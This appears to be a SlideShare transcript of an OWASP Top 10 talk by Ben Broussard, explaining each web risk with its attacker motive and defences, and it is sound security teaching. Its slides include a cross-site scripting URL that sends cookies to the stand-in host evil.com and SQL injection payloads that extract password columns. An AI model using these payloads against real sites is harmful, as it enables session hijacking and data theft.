SlideShare a Scribd company logo
What are they?
     Why do attackers use them?
How can we protect against them?

                 By: Ben Broussard
Who is Ben Broussard?
   Austin OWASP board member
   Fearless leader of OWASP Study Group (free training!)
   President of Kedalion Security, LLC.
   Background:
     BS in Mathematics from UT Austin (crypto)
     Mainframe and web app programmer for UT
     Web app security interest led to OWASP involvement
     OWASP involvement led to Infosec career (Kedalion)
 Gymnastics, AI, Braainnsss, Simulations, Kung Fu,
    Mathlete, Bboy, Foodie, and more!
TOP 10

1.   Injection              6. Security
2. Cross-Site Scripting
                               Misconfiguration
     (XSS)                  7. Insecure Cryptographic
3. Broken Authentication
                               Storage
     and Session            8. Failure to Restrict URL
     Management                Access
4. Insecure Direct Object   9. Insufficient Transport
     Reference                 Layer Protection
5. Cross-Site Request       10. Unvalidated Redirects
     Forgery (CSRF)            and Forwards
1. Injection
 SQL:
   query = “SELECT * FROM table WHERE column =
    „“ + input + “‟;”
   Attacker’s input: x‟ or „x‟=„x
   Resulting query: SELECT * FROM table WHERE
    column = „x‟ or „x‟=„x‟;
 Other types of injection include XML, Command, and
 anywhere untrusted input is placed in an eval-like
 statement.
1. Injection (cont.)
 Why: These attacks inject code into the running
  program. What could the program do? That is what
 injected code can do.

 How: Depends on the platform. Best solution is
  Parameterized Queries. Don’t treat data like code.
 Don’t put data in the equivalent of an eval statement.
2. Cross-Site Scripting
 There are fewer flavors of jelly beans.
 Reflected vs Persistent or Stored
 Attack could be a link to be clicked on, or part of an
  open redirect, or any clever scheme the attacker
  dreams up:
   Attack URL:
    www.example.com/search?query=<script>document
    .location = “evil.com?cookie=“ +
    document.cookie;</script>
2. Cross-Site Scripting (cont.)
 Why: An attacker can steal cookies and masquerade as
  the victim, make the victim site look like anything,
 and take many actions that the victim can such as
 submitting forms.

 How: Entity encoding. This is how a technical blog
 shows HTML code without the browser executing that
 code. ‘<‘ becomes ‘&lt;’ and the browser shows it as ‘<‘.
3. Broken Authentication and
Session Management
 This issue is common because it is difficult:
    Highly technical involving cookie intricacies, the
     request-response model, the same-origin policy,
     cryptography and more
 Attacks include session fixation, cookie generation or
  brute-forcing, direct browsing, forced logout/lockout,
 open redirects, cookie capture, CSRF, inadequate
 logout, password reset/account creation, user
 enumeration, and much more
3. Broken Authentication and
Session Management (cont.)
 Why: These attacks allow attackers to take actions as
  valid users and attack users directly.

 How: This is hard. If possible use a standard library. If
  not, make sure you cover cryptographic cookie
  strength, a framework that covers all pages that
  require authentication, noncing, SSL, refreshing the
  cookie upon login, and pay special attention to
  account creation, password reset, logout/lockout, and
  re-login.
4. Insecure Direct Object Reference
 www.example.com/cart.php?cartid=413
 Change cartid=413 to cartid=412


 Due to a lack of Authorization checking
 Systemic of trusting the client
 Surprisingly common and the easiest vulnerability to
 exploit
4. Insecure Direct Object Reference
(cont.)
 Why: An attacker can access other users’ sensitive data
  and often take actions as other users.

 How: Implement proper Authentication and validate
 user input. This issue implies a lack of developer
 security training, as it is the most obvious
 vulnerability, and shows that the developer trusts the
 client to enforce user actions. Is there a hidden price
 field, too?
5. Cross-Site Request Forgery
 This attack is complex to understand but simple to
  execute and extremely common.
 Pieces:
    Cookies are sent with every request to the domain they
     are set for. This is how login is maintained.
    HTML pages cause your browser to make many
     requests: images, scripts, redirects, iframes, etc.
    Your browser can be forced to send a request that takes
     an action to a domain you are logged into.
5. Cross-Site Request Forgery
(cont.)
 Why: Attackers can force logged in users to take
  actions: password update, funds transfer, grant
 privileges, update direct deposit info, anything

 How: Make sure no XSS exists on domain or any
  subdomains. Implement a nonce system (tied to the
 user) on forms which take actions. This way, only
 requests that contain the nonce are valid. Stops an
 attacker from crafting a valid request to force your
 browser to make.
6. Security Misconfiguration
 Examples include:
    Default accounts
    Lack of SSL
    Enabled insecure features (php include, SSI)
    Out of date patch levels (IIS 6 or below, old Tomcat)
    Web server running as root with execution rights to
     upload directories
 This is a very broad category
6. Security Misconfiguration (cont.)
 Why: Often these lead to shell upload and complete
  compromise, but the vulnerability depends on the
 misconfigured functionality.

 How: Procedures are the answer here. Have a review
  process for all implemented technologies and a patch
 process with quick turnover. This category is too broad
 for a good answer.
7. Insecure Cryptographic Storage
 The number one issue here is lack of proper password
  storage. Plaintext passwords are the opposite of
  defense in depth.
 SQL injection attack to get passwords:
   x‟ UNION SELECT column_name, table_name,
    null, …, null FROM information_schema.columns
    WHERE column_name LIKE „%pass%‟;--
   x‟ UNION SELECT passwd, null, …, null FROM
    user_details1;--
7. Insecure Cryptographic Storage
(cont.)
 Why: Sensitive data is an attacker’s goal. If they
  succeed at their goal of obtaining access, that doesn’t
  mean that have the data. If it isn’t properly encrypted,
  then it does.

 How: Encrypt sensitive data. Enforce proper key
  management.
8. Failure to Restrict URL Access
 This is really failure to validate Authorization on every
  page.
 Most common for static pages which should require
  Authorization such as access to a blog, sensitive
  document, or downloadable materials.
 Less common for dynamic pages, since user details
  need to be taken into account to create the dynamic
  page.
8. Failure to Restrict URL Access
(cont.)
 Why: Bypassing authorization allows an attacker to
  take actions or view data they wouldn’t otherwise be
 able to take. The value of these actions or data is the
 value of this attack.

 How: Implement Authentication validation in a
 framework sort of way. Page-by-page makes it easy to
 leave pages out. Opt-out Authorization checking as
 opposed to opt-in.
9. Insufficient Transport Layer
Protection
 Lack of SSL
    For request containing credentials
    For request to get login page
    For any page after login (session cookies, firesheep)
    For any page containing authentication details (pre-
     login session cookie or cart id)
    Any time sensitive data is being submitted (sometimes
     login isn’t required to submit a form, but SSL may be)
 Other protocols too: SSH, SFTP, VPN, etc.
9. Insufficient Transport Layer
Protection (cont.)
 Why: Grabbing cookies allows an attacker to
  masquerade as a valid user. Grabbing data is pretty
 much the point.

 How: Implement SSL everywhere it is needed,
  including pre-logon areas if there is a pre-logon
 session. Disable port 80 if possible. Make sure that
 cookies have the “Secure” flag on them.
10. Unvalidated Redirects and
Forwards
 Redirects are a necessity:
    Login after session timeout
    Many forms validate input and redirect to next step
    Retired pages and sites redirect to the new location
 If user input is used as the redirection location and
  can be any location on the Internet, then an attacker
  can:
   Craft a better phishing attack (to deliver malware or
    gather credentials)
   Bypass referer checking for CSRF attacks
10. Unvalidated Redirects and
Forwards (cont.)
 Why: Plausability: their fishing attacks contain links
  to trusted sites. Also, the site may accept requests that
  it forces users to make more readily.

 How: Validate redirection locations. There is rarely
  cause for a fully dynamic redirect. Use POST requests
  for requests that take actions or change data (like W3C
  says to).
Questions?

1.   Injection              6. Security
2. Cross-Site Scripting
                               Misconfiguration
     (XSS)                  7. Insecure Cryptographic
3. Broken Authentication
                               Storage
     and Session            8. Failure to Restrict URL
     Management                Access
4. Insecure Direct Object   9. Insufficient Transport
     Reference                 Layer Protection
5. Cross-Site Request       10. Unvalidated Redirects
     Forgery (CSRF)            and Forwards
The only bull here is mechanical

More Related Content

What's hot

OWASP Top 10 - 2017 Top 10 web application security risks
OWASP Top 10 - 2017 Top 10 web application security risksOWASP Top 10 - 2017 Top 10 web application security risks
OWASP Top 10 - 2017 Top 10 web application security risks
Kun-Da Wu
 
OWASP Top 10 2017 rc1 - The Ten Most Critical Web Application Security Risks
OWASP Top 10 2017 rc1 - The Ten Most Critical Web Application Security RisksOWASP Top 10 2017 rc1 - The Ten Most Critical Web Application Security Risks
OWASP Top 10 2017 rc1 - The Ten Most Critical Web Application Security Risks
Andre Van Klaveren
 
Secure code practices
Secure code practicesSecure code practices
Secure code practices
Hina Rawal
 
Owasp first5 presentation
Owasp first5 presentationOwasp first5 presentation
Owasp first5 presentation
Ashwini Paranjpe
 
Web Security - Introduction v.1.3
Web Security - Introduction v.1.3Web Security - Introduction v.1.3
Web Security - Introduction v.1.3
Oles Seheda
 
Web application security & Testing
Web application security  & TestingWeb application security  & Testing
Web application security & TestingDeepu S Nath
 
Security asp.net application
Security asp.net applicationSecurity asp.net application
Security asp.net application
ZAIYAUL HAQUE
 
Avoiding Cross Site Scripting - Not as easy as you might think
Avoiding Cross Site Scripting - Not as easy as you might thinkAvoiding Cross Site Scripting - Not as easy as you might think
Avoiding Cross Site Scripting - Not as easy as you might think
Erlend Oftedal
 
AuthN & AuthZ testing: it’s not only about the login form
AuthN & AuthZ testing:  it’s not only about the login formAuthN & AuthZ testing:  it’s not only about the login form
AuthN & AuthZ testing: it’s not only about the login form
Diana Pinchuk
 
2013 OWASP Top 10
2013 OWASP Top 102013 OWASP Top 10
2013 OWASP Top 10
bilcorry
 
Chapter4:Be The Attacker
Chapter4:Be The Attacker Chapter4:Be The Attacker
Chapter4:Be The Attacker
Dr.Sami Khiami
 
OWASP Serbia - A3 broken authentication and session management
OWASP Serbia - A3 broken authentication and session managementOWASP Serbia - A3 broken authentication and session management
OWASP Serbia - A3 broken authentication and session managementNikola Milosevic
 
Chapter 5: Attack Execution - The Client
Chapter 5: Attack Execution - The ClientChapter 5: Attack Execution - The Client
Chapter 5: Attack Execution - The Client
Dr.Sami Khiami
 
Chapter 6 : Attack Execution (2)
Chapter 6 : Attack Execution (2)Chapter 6 : Attack Execution (2)
Chapter 6 : Attack Execution (2)
Dr.Sami Khiami
 
Hacking the Web
Hacking the WebHacking the Web
Hacking the Web
Mike Crabb
 
Analysis of web application penetration testing
Analysis of web application penetration testingAnalysis of web application penetration testing
Analysis of web application penetration testing
Engr Md Yusuf Miah
 
Chapter 3: Vulnerabilities and threat models
Chapter 3: Vulnerabilities and threat modelsChapter 3: Vulnerabilities and threat models
Chapter 3: Vulnerabilities and threat models
Dr.Sami Khiami
 
Php security common 2011
Php security common 2011Php security common 2011
Php security common 2011
10n Software, LLC
 
Chapter1:information security overview
Chapter1:information security overview Chapter1:information security overview
Chapter1:information security overview
Dr.Sami Khiami
 

What's hot (20)

OWASP Top 10 - 2017 Top 10 web application security risks
OWASP Top 10 - 2017 Top 10 web application security risksOWASP Top 10 - 2017 Top 10 web application security risks
OWASP Top 10 - 2017 Top 10 web application security risks
 
OWASP Top 10 2017 rc1 - The Ten Most Critical Web Application Security Risks
OWASP Top 10 2017 rc1 - The Ten Most Critical Web Application Security RisksOWASP Top 10 2017 rc1 - The Ten Most Critical Web Application Security Risks
OWASP Top 10 2017 rc1 - The Ten Most Critical Web Application Security Risks
 
Secure code practices
Secure code practicesSecure code practices
Secure code practices
 
Owasp first5 presentation
Owasp first5 presentationOwasp first5 presentation
Owasp first5 presentation
 
Web Security - Introduction v.1.3
Web Security - Introduction v.1.3Web Security - Introduction v.1.3
Web Security - Introduction v.1.3
 
Web application security & Testing
Web application security  & TestingWeb application security  & Testing
Web application security & Testing
 
Security asp.net application
Security asp.net applicationSecurity asp.net application
Security asp.net application
 
Avoiding Cross Site Scripting - Not as easy as you might think
Avoiding Cross Site Scripting - Not as easy as you might thinkAvoiding Cross Site Scripting - Not as easy as you might think
Avoiding Cross Site Scripting - Not as easy as you might think
 
Web Security
Web SecurityWeb Security
Web Security
 
AuthN & AuthZ testing: it’s not only about the login form
AuthN & AuthZ testing:  it’s not only about the login formAuthN & AuthZ testing:  it’s not only about the login form
AuthN & AuthZ testing: it’s not only about the login form
 
2013 OWASP Top 10
2013 OWASP Top 102013 OWASP Top 10
2013 OWASP Top 10
 
Chapter4:Be The Attacker
Chapter4:Be The Attacker Chapter4:Be The Attacker
Chapter4:Be The Attacker
 
OWASP Serbia - A3 broken authentication and session management
OWASP Serbia - A3 broken authentication and session managementOWASP Serbia - A3 broken authentication and session management
OWASP Serbia - A3 broken authentication and session management
 
Chapter 5: Attack Execution - The Client
Chapter 5: Attack Execution - The ClientChapter 5: Attack Execution - The Client
Chapter 5: Attack Execution - The Client
 
Chapter 6 : Attack Execution (2)
Chapter 6 : Attack Execution (2)Chapter 6 : Attack Execution (2)
Chapter 6 : Attack Execution (2)
 
Hacking the Web
Hacking the WebHacking the Web
Hacking the Web
 
Analysis of web application penetration testing
Analysis of web application penetration testingAnalysis of web application penetration testing
Analysis of web application penetration testing
 
Chapter 3: Vulnerabilities and threat models
Chapter 3: Vulnerabilities and threat modelsChapter 3: Vulnerabilities and threat models
Chapter 3: Vulnerabilities and threat models
 
Php security common 2011
Php security common 2011Php security common 2011
Php security common 2011
 
Chapter1:information security overview
Chapter1:information security overview Chapter1:information security overview
Chapter1:information security overview
 

Similar to OWASPTop 10

Web Exploitation Security
Web Exploitation SecurityWeb Exploitation Security
Web Exploitation Security
Aman Singh
 
Andrews whitakrer lecture18-security.ppt
Andrews whitakrer lecture18-security.pptAndrews whitakrer lecture18-security.ppt
Andrews whitakrer lecture18-security.ppt
SilverGold16
 
Avoiding Application Attacks: A Guide to Preventing the OWASP Top 10 from Hap...
Avoiding Application Attacks: A Guide to Preventing the OWASP Top 10 from Hap...Avoiding Application Attacks: A Guide to Preventing the OWASP Top 10 from Hap...
Avoiding Application Attacks: A Guide to Preventing the OWASP Top 10 from Hap...
IBM Security
 
A security note for web developers
A security note for web developersA security note for web developers
A security note for web developers
John Ombagi
 
Secure coding guidelines
Secure coding guidelinesSecure coding guidelines
Secure coding guidelines
Zakaria SMAHI
 
Pci compliance writing secure code
Pci compliance   writing secure codePci compliance   writing secure code
Pci compliance writing secure code
Miva
 
Owasp Top 10-2013
Owasp Top 10-2013Owasp Top 10-2013
Owasp Top 10 - Owasp Pune Chapter - January 2008
Owasp Top 10 - Owasp Pune Chapter - January 2008Owasp Top 10 - Owasp Pune Chapter - January 2008
Owasp Top 10 - Owasp Pune Chapter - January 2008
abhijitapatil
 
Top 10 Web Application Security Risks - Murat Lostar @ ISACA EUROCACS 2013
Top 10 Web Application Security Risks - Murat Lostar @ ISACA EUROCACS 2013 Top 10 Web Application Security Risks - Murat Lostar @ ISACA EUROCACS 2013
Top 10 Web Application Security Risks - Murat Lostar @ ISACA EUROCACS 2013 Lostar
 
OWASP Top 10 List Overview for Web Developers
OWASP Top 10 List Overview for Web DevelopersOWASP Top 10 List Overview for Web Developers
OWASP Top 10 List Overview for Web Developers
Benjamin Floyd
 
Understanding Cross-site Request Forgery
Understanding Cross-site Request ForgeryUnderstanding Cross-site Request Forgery
Understanding Cross-site Request Forgery
Daniel Miessler
 
MS Innovation Day: A Lap Around Web Application Vulnerabilities by MVP Walter...
MS Innovation Day: A Lap Around Web Application Vulnerabilities by MVP Walter...MS Innovation Day: A Lap Around Web Application Vulnerabilities by MVP Walter...
MS Innovation Day: A Lap Around Web Application Vulnerabilities by MVP Walter...
Quek Lilian
 
Secure SDLC for Software
Secure SDLC for Software Secure SDLC for Software
Secure SDLC for Software
Shreeraj Shah
 
Spa Secure Coding Guide
Spa Secure Coding GuideSpa Secure Coding Guide
Spa Secure Coding Guide
Geoffrey Vandiest
 
Top Ten Tips For Tenacious Defense In Asp.Net
Top Ten Tips For Tenacious Defense In Asp.NetTop Ten Tips For Tenacious Defense In Asp.Net
Top Ten Tips For Tenacious Defense In Asp.Net
alsmola
 
Security 101
Security 101Security 101
Security 101
George V. Reilly
 
WebApps_Lecture_15.ppt
WebApps_Lecture_15.pptWebApps_Lecture_15.ppt
WebApps_Lecture_15.ppt
OmprakashVerma56
 
Owasp Top 10 2017
Owasp Top 10 2017Owasp Top 10 2017
Owasp Top 10 2017
SamsonMuoki
 
Security Ninjas: An Open Source Application Security Training Program
Security Ninjas: An Open Source Application Security Training ProgramSecurity Ninjas: An Open Source Application Security Training Program
Security Ninjas: An Open Source Application Security Training Program
OpenDNS
 
OWASP Portland - OWASP Top 10 For JavaScript Developers
OWASP Portland - OWASP Top 10 For JavaScript DevelopersOWASP Portland - OWASP Top 10 For JavaScript Developers
OWASP Portland - OWASP Top 10 For JavaScript Developers
Lewis Ardern
 

Similar to OWASPTop 10 (20)

Web Exploitation Security
Web Exploitation SecurityWeb Exploitation Security
Web Exploitation Security
 
Andrews whitakrer lecture18-security.ppt
Andrews whitakrer lecture18-security.pptAndrews whitakrer lecture18-security.ppt
Andrews whitakrer lecture18-security.ppt
 
Avoiding Application Attacks: A Guide to Preventing the OWASP Top 10 from Hap...
Avoiding Application Attacks: A Guide to Preventing the OWASP Top 10 from Hap...Avoiding Application Attacks: A Guide to Preventing the OWASP Top 10 from Hap...
Avoiding Application Attacks: A Guide to Preventing the OWASP Top 10 from Hap...
 
A security note for web developers
A security note for web developersA security note for web developers
A security note for web developers
 
Secure coding guidelines
Secure coding guidelinesSecure coding guidelines
Secure coding guidelines
 
Pci compliance writing secure code
Pci compliance   writing secure codePci compliance   writing secure code
Pci compliance writing secure code
 
Owasp Top 10-2013
Owasp Top 10-2013Owasp Top 10-2013
Owasp Top 10-2013
 
Owasp Top 10 - Owasp Pune Chapter - January 2008
Owasp Top 10 - Owasp Pune Chapter - January 2008Owasp Top 10 - Owasp Pune Chapter - January 2008
Owasp Top 10 - Owasp Pune Chapter - January 2008
 
Top 10 Web Application Security Risks - Murat Lostar @ ISACA EUROCACS 2013
Top 10 Web Application Security Risks - Murat Lostar @ ISACA EUROCACS 2013 Top 10 Web Application Security Risks - Murat Lostar @ ISACA EUROCACS 2013
Top 10 Web Application Security Risks - Murat Lostar @ ISACA EUROCACS 2013
 
OWASP Top 10 List Overview for Web Developers
OWASP Top 10 List Overview for Web DevelopersOWASP Top 10 List Overview for Web Developers
OWASP Top 10 List Overview for Web Developers
 
Understanding Cross-site Request Forgery
Understanding Cross-site Request ForgeryUnderstanding Cross-site Request Forgery
Understanding Cross-site Request Forgery
 
MS Innovation Day: A Lap Around Web Application Vulnerabilities by MVP Walter...
MS Innovation Day: A Lap Around Web Application Vulnerabilities by MVP Walter...MS Innovation Day: A Lap Around Web Application Vulnerabilities by MVP Walter...
MS Innovation Day: A Lap Around Web Application Vulnerabilities by MVP Walter...
 
Secure SDLC for Software
Secure SDLC for Software Secure SDLC for Software
Secure SDLC for Software
 
Spa Secure Coding Guide
Spa Secure Coding GuideSpa Secure Coding Guide
Spa Secure Coding Guide
 
Top Ten Tips For Tenacious Defense In Asp.Net
Top Ten Tips For Tenacious Defense In Asp.NetTop Ten Tips For Tenacious Defense In Asp.Net
Top Ten Tips For Tenacious Defense In Asp.Net
 
Security 101
Security 101Security 101
Security 101
 
WebApps_Lecture_15.ppt
WebApps_Lecture_15.pptWebApps_Lecture_15.ppt
WebApps_Lecture_15.ppt
 
Owasp Top 10 2017
Owasp Top 10 2017Owasp Top 10 2017
Owasp Top 10 2017
 
Security Ninjas: An Open Source Application Security Training Program
Security Ninjas: An Open Source Application Security Training ProgramSecurity Ninjas: An Open Source Application Security Training Program
Security Ninjas: An Open Source Application Security Training Program
 
OWASP Portland - OWASP Top 10 For JavaScript Developers
OWASP Portland - OWASP Top 10 For JavaScript DevelopersOWASP Portland - OWASP Top 10 For JavaScript Developers
OWASP Portland - OWASP Top 10 For JavaScript Developers
 

More from InnoTech

"So you want to raise funding and build a team?"
"So you want to raise funding and build a team?""So you want to raise funding and build a team?"
"So you want to raise funding and build a team?"
InnoTech
 
Artificial Intelligence is Maturing
Artificial Intelligence is MaturingArtificial Intelligence is Maturing
Artificial Intelligence is Maturing
InnoTech
 
What is AI without Data?
What is AI without Data?What is AI without Data?
What is AI without Data?
InnoTech
 
Courageous Leadership - When it Matters Most
Courageous Leadership - When it Matters MostCourageous Leadership - When it Matters Most
Courageous Leadership - When it Matters Most
InnoTech
 
The Gathering Storm
The Gathering StormThe Gathering Storm
The Gathering Storm
InnoTech
 
Sql Server tips from the field
Sql Server tips from the fieldSql Server tips from the field
Sql Server tips from the field
InnoTech
 
Quantum Computing and its security implications
Quantum Computing and its security implicationsQuantum Computing and its security implications
Quantum Computing and its security implications
InnoTech
 
Converged Infrastructure
Converged InfrastructureConverged Infrastructure
Converged Infrastructure
InnoTech
 
Making the most out of collaboration with Office 365
Making the most out of collaboration with Office 365Making the most out of collaboration with Office 365
Making the most out of collaboration with Office 365
InnoTech
 
Blockchain use cases and case studies
Blockchain use cases and case studiesBlockchain use cases and case studies
Blockchain use cases and case studies
InnoTech
 
Blockchain: Exploring the Fundamentals and Promising Potential
Blockchain: Exploring the Fundamentals and Promising Potential Blockchain: Exploring the Fundamentals and Promising Potential
Blockchain: Exploring the Fundamentals and Promising Potential
InnoTech
 
Business leaders are engaging labor differently - Is your IT ready?
Business leaders are engaging labor differently - Is your IT ready?Business leaders are engaging labor differently - Is your IT ready?
Business leaders are engaging labor differently - Is your IT ready?
InnoTech
 
AI 3.0: Is it Finally Time for Artificial Intelligence and Sensor Networks to...
AI 3.0: Is it Finally Time for Artificial Intelligence and Sensor Networks to...AI 3.0: Is it Finally Time for Artificial Intelligence and Sensor Networks to...
AI 3.0: Is it Finally Time for Artificial Intelligence and Sensor Networks to...
InnoTech
 
Using Business Intelligence to Bring Your Data to Life
Using Business Intelligence to Bring Your Data to LifeUsing Business Intelligence to Bring Your Data to Life
Using Business Intelligence to Bring Your Data to Life
InnoTech
 
User requirements is a fallacy
User requirements is a fallacyUser requirements is a fallacy
User requirements is a fallacy
InnoTech
 
What I Wish I Knew Before I Signed that Contract - San Antonio
What I Wish I Knew Before I Signed that Contract - San Antonio What I Wish I Knew Before I Signed that Contract - San Antonio
What I Wish I Knew Before I Signed that Contract - San Antonio
InnoTech
 
Disaster Recovery Plan - Quorum
Disaster Recovery Plan - QuorumDisaster Recovery Plan - Quorum
Disaster Recovery Plan - Quorum
InnoTech
 
Share point saturday access services 2015 final 2
Share point saturday access services 2015 final 2Share point saturday access services 2015 final 2
Share point saturday access services 2015 final 2
InnoTech
 
Sp tech festdallas - office 365 groups - planner session
Sp tech festdallas - office 365 groups - planner sessionSp tech festdallas - office 365 groups - planner session
Sp tech festdallas - office 365 groups - planner session
InnoTech
 
Power apps presentation
Power apps presentationPower apps presentation
Power apps presentation
InnoTech
 

More from InnoTech (20)

"So you want to raise funding and build a team?"
"So you want to raise funding and build a team?""So you want to raise funding and build a team?"
"So you want to raise funding and build a team?"
 
Artificial Intelligence is Maturing
Artificial Intelligence is MaturingArtificial Intelligence is Maturing
Artificial Intelligence is Maturing
 
What is AI without Data?
What is AI without Data?What is AI without Data?
What is AI without Data?
 
Courageous Leadership - When it Matters Most
Courageous Leadership - When it Matters MostCourageous Leadership - When it Matters Most
Courageous Leadership - When it Matters Most
 
The Gathering Storm
The Gathering StormThe Gathering Storm
The Gathering Storm
 
Sql Server tips from the field
Sql Server tips from the fieldSql Server tips from the field
Sql Server tips from the field
 
Quantum Computing and its security implications
Quantum Computing and its security implicationsQuantum Computing and its security implications
Quantum Computing and its security implications
 
Converged Infrastructure
Converged InfrastructureConverged Infrastructure
Converged Infrastructure
 
Making the most out of collaboration with Office 365
Making the most out of collaboration with Office 365Making the most out of collaboration with Office 365
Making the most out of collaboration with Office 365
 
Blockchain use cases and case studies
Blockchain use cases and case studiesBlockchain use cases and case studies
Blockchain use cases and case studies
 
Blockchain: Exploring the Fundamentals and Promising Potential
Blockchain: Exploring the Fundamentals and Promising Potential Blockchain: Exploring the Fundamentals and Promising Potential
Blockchain: Exploring the Fundamentals and Promising Potential
 
Business leaders are engaging labor differently - Is your IT ready?
Business leaders are engaging labor differently - Is your IT ready?Business leaders are engaging labor differently - Is your IT ready?
Business leaders are engaging labor differently - Is your IT ready?
 
AI 3.0: Is it Finally Time for Artificial Intelligence and Sensor Networks to...
AI 3.0: Is it Finally Time for Artificial Intelligence and Sensor Networks to...AI 3.0: Is it Finally Time for Artificial Intelligence and Sensor Networks to...
AI 3.0: Is it Finally Time for Artificial Intelligence and Sensor Networks to...
 
Using Business Intelligence to Bring Your Data to Life
Using Business Intelligence to Bring Your Data to LifeUsing Business Intelligence to Bring Your Data to Life
Using Business Intelligence to Bring Your Data to Life
 
User requirements is a fallacy
User requirements is a fallacyUser requirements is a fallacy
User requirements is a fallacy
 
What I Wish I Knew Before I Signed that Contract - San Antonio
What I Wish I Knew Before I Signed that Contract - San Antonio What I Wish I Knew Before I Signed that Contract - San Antonio
What I Wish I Knew Before I Signed that Contract - San Antonio
 
Disaster Recovery Plan - Quorum
Disaster Recovery Plan - QuorumDisaster Recovery Plan - Quorum
Disaster Recovery Plan - Quorum
 
Share point saturday access services 2015 final 2
Share point saturday access services 2015 final 2Share point saturday access services 2015 final 2
Share point saturday access services 2015 final 2
 
Sp tech festdallas - office 365 groups - planner session
Sp tech festdallas - office 365 groups - planner sessionSp tech festdallas - office 365 groups - planner session
Sp tech festdallas - office 365 groups - planner session
 
Power apps presentation
Power apps presentationPower apps presentation
Power apps presentation
 

Recently uploaded

Connector Corner: Automate dynamic content and events by pushing a button
Connector Corner: Automate dynamic content and events by pushing a buttonConnector Corner: Automate dynamic content and events by pushing a button
Connector Corner: Automate dynamic content and events by pushing a button
DianaGray10
 
Dev Dives: Train smarter, not harder – active learning and UiPath LLMs for do...
Dev Dives: Train smarter, not harder – active learning and UiPath LLMs for do...Dev Dives: Train smarter, not harder – active learning and UiPath LLMs for do...
Dev Dives: Train smarter, not harder – active learning and UiPath LLMs for do...
UiPathCommunity
 
FIDO Alliance Osaka Seminar: Passkeys and the Road Ahead.pdf
FIDO Alliance Osaka Seminar: Passkeys and the Road Ahead.pdfFIDO Alliance Osaka Seminar: Passkeys and the Road Ahead.pdf
FIDO Alliance Osaka Seminar: Passkeys and the Road Ahead.pdf
FIDO Alliance
 
Kubernetes & AI - Beauty and the Beast !?! @KCD Istanbul 2024
Kubernetes & AI - Beauty and the Beast !?! @KCD Istanbul 2024Kubernetes & AI - Beauty and the Beast !?! @KCD Istanbul 2024
Kubernetes & AI - Beauty and the Beast !?! @KCD Istanbul 2024
Tobias Schneck
 
Knowledge engineering: from people to machines and back
Knowledge engineering: from people to machines and backKnowledge engineering: from people to machines and back
Knowledge engineering: from people to machines and back
Elena Simperl
 
Generating a custom Ruby SDK for your web service or Rails API using Smithy
Generating a custom Ruby SDK for your web service or Rails API using SmithyGenerating a custom Ruby SDK for your web service or Rails API using Smithy
Generating a custom Ruby SDK for your web service or Rails API using Smithy
g2nightmarescribd
 
Encryption in Microsoft 365 - ExpertsLive Netherlands 2024
Encryption in Microsoft 365 - ExpertsLive Netherlands 2024Encryption in Microsoft 365 - ExpertsLive Netherlands 2024
Encryption in Microsoft 365 - ExpertsLive Netherlands 2024
Albert Hoitingh
 
Elevating Tactical DDD Patterns Through Object Calisthenics
Elevating Tactical DDD Patterns Through Object CalisthenicsElevating Tactical DDD Patterns Through Object Calisthenics
Elevating Tactical DDD Patterns Through Object Calisthenics
Dorra BARTAGUIZ
 
Transcript: Selling digital books in 2024: Insights from industry leaders - T...
Transcript: Selling digital books in 2024: Insights from industry leaders - T...Transcript: Selling digital books in 2024: Insights from industry leaders - T...
Transcript: Selling digital books in 2024: Insights from industry leaders - T...
BookNet Canada
 
UiPath Test Automation using UiPath Test Suite series, part 3
UiPath Test Automation using UiPath Test Suite series, part 3UiPath Test Automation using UiPath Test Suite series, part 3
UiPath Test Automation using UiPath Test Suite series, part 3
DianaGray10
 
FIDO Alliance Osaka Seminar: Overview.pdf
FIDO Alliance Osaka Seminar: Overview.pdfFIDO Alliance Osaka Seminar: Overview.pdf
FIDO Alliance Osaka Seminar: Overview.pdf
FIDO Alliance
 
GenAISummit 2024 May 28 Sri Ambati Keynote: AGI Belongs to The Community in O...
GenAISummit 2024 May 28 Sri Ambati Keynote: AGI Belongs to The Community in O...GenAISummit 2024 May 28 Sri Ambati Keynote: AGI Belongs to The Community in O...
GenAISummit 2024 May 28 Sri Ambati Keynote: AGI Belongs to The Community in O...
Sri Ambati
 
State of ICS and IoT Cyber Threat Landscape Report 2024 preview
State of ICS and IoT Cyber Threat Landscape Report 2024 previewState of ICS and IoT Cyber Threat Landscape Report 2024 preview
State of ICS and IoT Cyber Threat Landscape Report 2024 preview
Prayukth K V
 
When stars align: studies in data quality, knowledge graphs, and machine lear...
When stars align: studies in data quality, knowledge graphs, and machine lear...When stars align: studies in data quality, knowledge graphs, and machine lear...
When stars align: studies in data quality, knowledge graphs, and machine lear...
Elena Simperl
 
GraphRAG is All You need? LLM & Knowledge Graph
GraphRAG is All You need? LLM & Knowledge GraphGraphRAG is All You need? LLM & Knowledge Graph
GraphRAG is All You need? LLM & Knowledge Graph
Guy Korland
 
FIDO Alliance Osaka Seminar: FIDO Security Aspects.pdf
FIDO Alliance Osaka Seminar: FIDO Security Aspects.pdfFIDO Alliance Osaka Seminar: FIDO Security Aspects.pdf
FIDO Alliance Osaka Seminar: FIDO Security Aspects.pdf
FIDO Alliance
 
GDG Cloud Southlake #33: Boule & Rebala: Effective AppSec in SDLC using Deplo...
GDG Cloud Southlake #33: Boule & Rebala: Effective AppSec in SDLC using Deplo...GDG Cloud Southlake #33: Boule & Rebala: Effective AppSec in SDLC using Deplo...
GDG Cloud Southlake #33: Boule & Rebala: Effective AppSec in SDLC using Deplo...
James Anderson
 
PCI PIN Basics Webinar from the Controlcase Team
PCI PIN Basics Webinar from the Controlcase TeamPCI PIN Basics Webinar from the Controlcase Team
PCI PIN Basics Webinar from the Controlcase Team
ControlCase
 
Bits & Pixels using AI for Good.........
Bits & Pixels using AI for Good.........Bits & Pixels using AI for Good.........
Bits & Pixels using AI for Good.........
Alison B. Lowndes
 
Leading Change strategies and insights for effective change management pdf 1.pdf
Leading Change strategies and insights for effective change management pdf 1.pdfLeading Change strategies and insights for effective change management pdf 1.pdf
Leading Change strategies and insights for effective change management pdf 1.pdf
OnBoard
 

Recently uploaded (20)

Connector Corner: Automate dynamic content and events by pushing a button
Connector Corner: Automate dynamic content and events by pushing a buttonConnector Corner: Automate dynamic content and events by pushing a button
Connector Corner: Automate dynamic content and events by pushing a button
 
Dev Dives: Train smarter, not harder – active learning and UiPath LLMs for do...
Dev Dives: Train smarter, not harder – active learning and UiPath LLMs for do...Dev Dives: Train smarter, not harder – active learning and UiPath LLMs for do...
Dev Dives: Train smarter, not harder – active learning and UiPath LLMs for do...
 
